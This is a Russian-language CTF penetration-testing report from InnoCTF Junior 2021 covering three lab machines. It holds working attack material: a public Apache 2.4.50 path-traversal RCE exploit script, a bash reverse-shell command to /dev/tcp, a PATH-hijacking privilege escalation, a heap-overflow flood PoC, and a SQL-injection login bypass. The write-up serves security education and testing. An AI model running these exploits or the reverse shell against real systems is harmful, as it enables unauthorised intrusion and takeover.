---
# System prepended metadata

title: InnoCTF Junior 2021 Penetrations testing report by одуванчики

---

    

# InnoCTF Junior 2021 Penetrations testing report by одуванчики
___
## Выполнили

Команда "одуванчики":
- Ефремов Алексей Александрович (dragonmail135159@gmail.com)
- Федотов Иван Максимович (fim2774@gmail.com)
- Дильман Никита Евгеньевич (dalmannikita@gmail.com)
- Лучкин Вячеслав Александрович (someone12469@gmail.com)
- Шевченко Владислав Витальевич (cha1ned.bb@gmail.com)


## Содержание
[TOC]

## Тестируемые устройства
Имя устройства|IP
:---:|:-:
Wafy WAF | 84.252.132.161
Simple Band |130.193.45.159
Issue Tracker | 130.193.46.66

## Wafy WAF

### Разведка
При сканировании машины были обнаружены следующие открытые порты:
| Port | Service |
|:-:|:-:|
| 22 | ssh(OpenSSH) |
| 80 | http(nginx/1.21.3) |

На порту 80 слушает веб-сервер, на котором размещено простое веб-приложение. Для доступа к содержимому необходимо авторизоваться, возможность регистрации есть.

При входе нас встречает лендинг "Wafy WAF". Это дополнение к веб-серверу nginx, которое осуществляет защиту от XSS и SQL-инъекций. На самом лендинге кнопка для загрузки отсутствует.

Заметим, что картинки на странице загружаются из пути `/download/x`, где `x` - номер файла. Для нахожения скрытых файлов используем скрипт:

```python=
import requests
s = requests.session()
s.cookies.set("api-auth", "YOUR_COOKIE_HERE")

url = "http://84.252.132.161/download/{}"

for x in range(0, 1000):
    req = s.get(url.format(x))
    if "File not found" not in req.text:
        print(url.format(x))
```

При запуске находятся следующие файлы:
| URL | mime-type |
| --- | --------- |
| `/download/3` | `image/jpeg` |
| `/download/16` | `image/png` | 
| `/download/20` | `image/png` | 
| `/download/44` | `image/png` | 
| `/download/51` | `image/png` | 
| `/download/55` | `application/octet-stream` |

Наибольший интерес вызывает последний файл. Рассмотрим его подробнее:

```shell
$ wget http://84.252.132.161/download/55 -O file.bin
$ file file.bin
file.bin: ELF 64-bit LSB executable, x86-64, version 1
(SYSV), dynamically linked, interpreter /lib64/ld-linux-
x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=
09b1621d3fe6c90f536ba3a753bb8976f087ff81, not stripped
```

Среди символов в этом исполняемом файле многие начинаются с `ngx_`, откуда можно сделать вывод, что это и есть сборка nginx с Wafy.

### Уязвимость 
Heap ovverflow, в связи с неправильной валидацией размера Content-Length.

Security level: low (падениче чайлда)

PoC:
```python=
import requests
from requests import cookies
from requests.sessions import session

ip = "127.0.0.1"
port = 80
req_host = f"http://{ip}:{port}/?"
session_pool = requests.session()

headers = {
    u'Content-Length': u'1',
}

#session_pool.get(req_host,
#    data = {
#        'CHA2NED': 'A' * 256
#    }
#)

while True:
    try:
        session_pool.get(req_host, 
            headers=headers,
            data = {
                'CHA2NED': 'A' * 8000
            }
        )
    except: pass
```



## Simple Band

### Разведка

При сканировании машины были обнаружены следующие открытые порты:

| Port | Service |
|:-:|:-:|
22 | ssh (OpenSSH) 
80 | http (Apache/2.4.5)
2222 | ssh (OpenSSH)

### Поиск уязвимостей

В первую очередь мы произвели поиск существующих уязвимостей в базе MITRE CVE. В [CVE-2021-41773](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773) утверждается наличие уязвимости Remote code execution, однако эта CVE применима к версии Apache 2.4.49. При этом далее даётся инфомация о том, что добавленные в версии 2.4.50 исправления ошибок не в полной мере закрывают данную уязвимость. Атака по-прежнему возможна, и для её осуществления мы использовали публично доступный эксплоит.

```bash=
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
            
```
Получить reverse shell можно командой 
```bash
$ bash 2.py targets.txt /bin/sh '/bin/bash -c "/bin/bash -i >&/dev/tcp/IP/PORT 0>&1"'
```

**Тип эксплуатируемой уязвимости**: Remote code execution (через path traversal)

**Критичность:** <span style="color:Red">Critical<span style="color:Red">

**Найденный флаг:** `086925fb0b64e870ce5d0162c78952b5`

### Повышение привелегий

В `/usr/bin` можно заметить кастомный исполняемый файл `info`, который выводит информацию о системе. С помощью IDA Pro и Hex-Rays получаем следующий псевдо-код, из которого видно, что запускается `cat` и другие команды системы.
    
    
```cpp=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v18; // rax
  __int64 v19; // rax
  char v21[40]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v22; // [rsp+28h] [rbp-18h]

  v22 = __readfsqword(0x28u);
  setuid(0);
  setgid(0);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "SystemInformation tool v. 0.1 beta");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v4 = std::operator<<<std::char_traits<char>>(&std::cout, "\n\n\n\n");
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Kernel: \n\n");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  exec[abi:cxx11](v21, "cat /proc/cmdline");
     // еще куча всяких операций
}
```
Программа выполняет `cat` не по абсолютному пути, поэтому можно подменить PATH так, что `cat` будет нашей программой; она тоже получит права root.
С помощью следующего bash скрипта (запущенного на вм) читаем `/root/root.txt`. 

```bash
mkdir /tmp/_
cd /tmp/_
echo -e '#!/bin/bash\n/bin/cat /root/root.txt' > cat
chmod +x cat
PATH=. /usr/bin/info
```
**Тип эксплуатируемой уязвимости**: Path hijacking

**Описание эксплуатации**: 

**Критичность:** <span style="color:Red">Critical</span>

**Найденный флаг:** `bc05630d1d95b6235c105c161c8ecf50`



## Issue Tracker

### Разведка

При сканировании машины были обнаружены следующие открытые порты:
| Port | Service |
|:-:|:-:|
22 | ssh(OpenSSH)
2244 | ssh(OpenSSH)
9000 | http(nginx/1.18.0)

При открытии `http://130.193.46.66:9000` в браузере нас встречает форма логина. Функция регистрации в данном приложении закрыта, поэтому для входа в систему необходимо найти уязвимость.
    
Очевидным вектором атаки является использование SQL-инъекций в форме логина. Вводя различные сочетания username и password обнаруживаем, что при вводе `'` в качестве логина система возвращает ошибку. Из этого можно сделать вывод, что возможна SQL-инъекция из-за отсутствия фильтрации пользовательских данных.
    
![SQLi POC](https://i.imgur.com/ynUN9BC.png)
    


### Поиск уязвимостей

#### SQL иньекция

Для входа в учетную запись используем комбинацию username: `admin' OR 1=1-- -` и любого пароля.
    
Теперь нас встречает сайт, с такой вот верхней панелькой. Щелкнув по вкладке `Issues` переходим на [страницу](http://130.193.46.66:9000/?page=issues)
![](https://i.imgur.com/Yvu6ehv.png)

В одном из [Issue](http://130.193.46.66:9000/?page=view_issue&id=8f14e45fceea167a5a36dedd4bea2543) мы находим пароль `9a16a1ccef71ff4af0dbe179f1af09db` пользователя `Dannyel Rolsen`.

![](https://i.imgur.com/DKX94qc.png)


Дальше перейдем на [страницу содержащую логины пользователей](http://130.193.46.66:9000/?page=users), среди них находим логин пользователя `Dannyel Rolsen` и заходим под ним на сервер по ssh. 
```shell
$ ssh denny@130.193.46.66 -p 2244
```


**Тип эксплуатируемой уязвимости**: SQL инъекция
    
**Патч или фикс**: Необходимо переписать код сервиса с использованием техник фильтраций SQLi-атак. Также рекомендуется не выводить ошибки бекенда в клиентскую часть.
    
**Критичность:** <span style="color:Orange">High</span>
    
**Найденный флаг:** `709fa7568727b53c3e56e1169aa1ee11`

### Повышение привелегий

В домашней директории пользователя мы обнаруживаем скрипт `test_password.py`

```python=
from re import fullmatch
import keyring as kr
from requests import get

def check(password):
	data = list(get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').text)
	if password in data:
		return "Password leak!"
	if not fullmatch(r'[A-Za-z0-9@#$%^&+=]{8,}', password):
		return "Password is too weak!"
	else:
		return "Strong password"

def test():
	password = kr.get_password("system", "denny")
	print(password)
	return check(password)

print("Checking local password...")
print(test())
password = bytes(input("New password: "))
print(check(password))
```

Скрипт использует модуль `keyring`. В директории `~/.local/share/python_keyring/` мы находим его конфигурационный файл, в котором хранятся закодированные Base64 пароли пользователей.

```bash
$ ls ~/.local/share/python_keyring/
keyring_pass.cfg
$ cat keyring_pass.cfg 
[user]
denny = 
	OWExNmExY2NlZjcxZmY0YWYwZGJlMTc5ZjFhZjA5ZGI=
anjela = 
	UVdFUnkxMjMhQDM=
admin = 
	MWIyZWVmMjI4NzdiMDYxMzEyYjIzMDNjM2RmMWRkMw==
```

Используя декодированный пароль пользователя `admin`, войдем в систему как `root` (через `su`) и прочитаем флаг.

**Тип эксплуатируемой уязвимости**: неправильный контроль привилегий, хранение паролей без использования хеширования (шифрования), слабая парольная политика (повторное использование паролей пользователями).
    
**Описание эксплуатации**: необходимо декодировать Base64 от пароля учетной записи `admin` из публично доступного файла и использовать его для входа как `root`
    
**Патч или фикс**: настроить права доступа к файлам конфигурации (и не хранить в них критическую информацию), хешировать (шифровать) пароли, ввести строгую парольную политику.
    
**Критичность:** <span style="color:Red">Critical</span>

**Найденный флаг:** `db617092457a62accd0d192bee667b16`
